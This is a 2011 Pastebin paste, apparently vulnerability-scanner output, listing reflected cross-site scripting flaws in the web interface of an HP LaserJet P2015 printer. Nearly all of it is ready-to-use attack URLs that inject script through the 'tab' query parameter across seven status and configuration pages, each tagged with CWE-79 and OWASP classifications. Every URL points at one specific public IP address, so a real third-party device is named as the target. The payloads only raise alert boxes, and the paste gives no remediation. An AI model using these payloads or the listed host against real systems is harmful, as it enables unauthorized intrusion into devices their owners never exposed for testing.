Guest User

HP LaserJet P2015 Series - XSS Vulnerability

a guest
Dec 20th, 2011
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.29 KB | None | 0 0
  1.  
  2. Vulnerable URL : http://195.113.61.98/hp/device/info_deviceStatus.html?tab="></script><script>alert(9)</script>&menu=DevStatus
  3. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  4. Parameter Name: tab
  5. Parameter Type: Querystring
  6. Attack Pattern: "></script><script>alert(9)</script>
  7.  
  8. Vulnerable URL : http://195.113.61.98/hp/device/info_suppliesStatus.html?tab='"--></style></script><script>alert(0x000088)</script>&menu=SupplyStatus
  9. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  10. Parameter Name: tab
  11. Parameter Type: Querystring
  12. Attack Pattern: '"--></style></script><script>alert(0x000088)</script>
  13.  
  14. Vulnerable URL : http://195.113.61.98/hp/device/info_specialPages.html?tab="></script><script>alert(9)</script>&amp;menu=InfoPages
  15. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  16. Parameter Name: tab
  17. Parameter Type: Querystring
  18. Attack Pattern: "></script><script>alert(9)</script>
  19.  
  20. Vulnerable URL : http://195.113.61.98/hp/device/info_specialPages.html?tab='"--></style></script><script>alert(0x0000D8)</script>&menu=InfoPages
  21. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  22. Parameter Name: tab
  23. Parameter Type: Querystring
  24. Attack Pattern: '"--></style></script><script>alert(0x0000D8)</script>
  25.  
  26. Vulnerable URL : http://195.113.61.98/hp/device/info_configuration.html?tab='"--></style></script><script>alert(0x0000EC)</script>&menu=DevConfig
  27. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  28. Parameter Name: tab
  29. Parameter Type: Querystring
  30. Attack Pattern: '"--></style></script><script>alert(0x0000EC)</script>
  31.  
  32. Vulnerable URL : http://195.113.61.98/hp/device/info_config_network.html?tab="></script><script>alert(9)</script>&menu=NetConfig
  33. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  34. Parameter Name: tab
  35. Parameter Type: Querystring
  36. Attack Pattern: "></script><script>alert(9)</script>
  37.  
  38. Vulnerable URL : http://195.113.61.98/hp/device/info_eventLog.html?tab='"--></style></script><script>alert(0x000138)</script>&menu=EventLog
  39. Vulnerability Classifications: PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
  40. Parameter Name: tab
  41. Parameter Type: Querystring
  42. Attack Pattern: '"--></style></script><script>alert(0x000138)</script>
Advertisement
Add Comment
Please, Sign In to add comment